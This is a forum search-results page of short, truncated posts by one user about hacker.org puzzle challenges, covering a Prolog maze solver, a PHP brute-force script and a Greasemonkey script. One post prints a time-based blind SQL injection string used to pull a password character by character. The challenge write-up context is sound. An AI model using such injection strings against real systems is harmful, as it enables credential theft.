Search found 7 matches

by gandhi
Thu Nov 27, 2014 7:02 pm
Forum: Challenges Solved
Topic: Cereal
Replies: 6
Views: 518

Thank god there was "the answer is..." encoded in the message :lol:
by gandhi
Tue May 07, 2013 8:17 am
Forum: Challenges Solved
Topic: Lazy Maze
Replies: 26
Views: 2075

did it with prolog. Prolog has "built-in" backtracking, which made the task pretty easy: :- use_module(library('http/http_client')). :- use_module(contains). solve(STEPS) :- URL = 'http://www.hacker.org/challenge/misc/maze.php?steps=', concat(URL,STEPS,URLSTEPS), http_get(URLSTEPS, REPLY, ...
by gandhi
Wed Mar 27, 2013 12:40 am
Forum: Challenges Solved
Topic: Trip to the Past
Replies: 9
Views: 785

Thanks to this challenge i have now Mosaic installed on my System, yeah! :wink:
by gandhi
Wed Mar 27, 2013 12:02 am
Forum: Challenges Solved
Topic: Inscrutable
Replies: 14
Views: 989

sqlmap reveald vulnerability for time based injection. used following string for the user field: root' and if((select mid(password,16,1) from user limit 0,1)='z',sleep(10),1) AND 'kzQg'='kzqg’ --------------------------------------------------------------------x------x and a script to loop through t...
by gandhi
Tue Aug 28, 2012 7:07 pm
Forum: Challenges Solved
Topic: Cavern Master
Replies: 5
Views: 525

finally :D Did it with an Userscript (GreaseMonkey). To pass values form one siteload to the next, i attached parameters to the url. Something like this: ....hacker.org/challenge/misc/d/cave.php?reset=1&lastMove=e&currentTile=0&takenTiles=100000000&navMode=normal... My KI worked roug...
by gandhi
Sun Aug 19, 2012 10:20 pm
Forum: Challenges Solved
Topic: Another Typo
Replies: 6
Views: 572

i used php's eval function.... <?php $replacement = array('+','-','*','/',1,2,3,4,5,6,7,8,9,0,'^','%'); $ch = array('*',2,2,4,5,'+','*',2,'-',7); for ($i = 0; $i < count($ch); $i++) { $ch = array('*',2,2,4,5,'+','*',2,'-',7); for ($n = 0; $n < count($replacement); $n++) { $ch[$i] = $replacement[$n];...
by gandhi
Fri Feb 04, 2011 7:17 pm
Forum: Challenges
Topic: Life Skills
Replies: 15
Views: 20475

world is infinite
Iḿ not sure about the gliders.

Do they "travel in space" forever? :(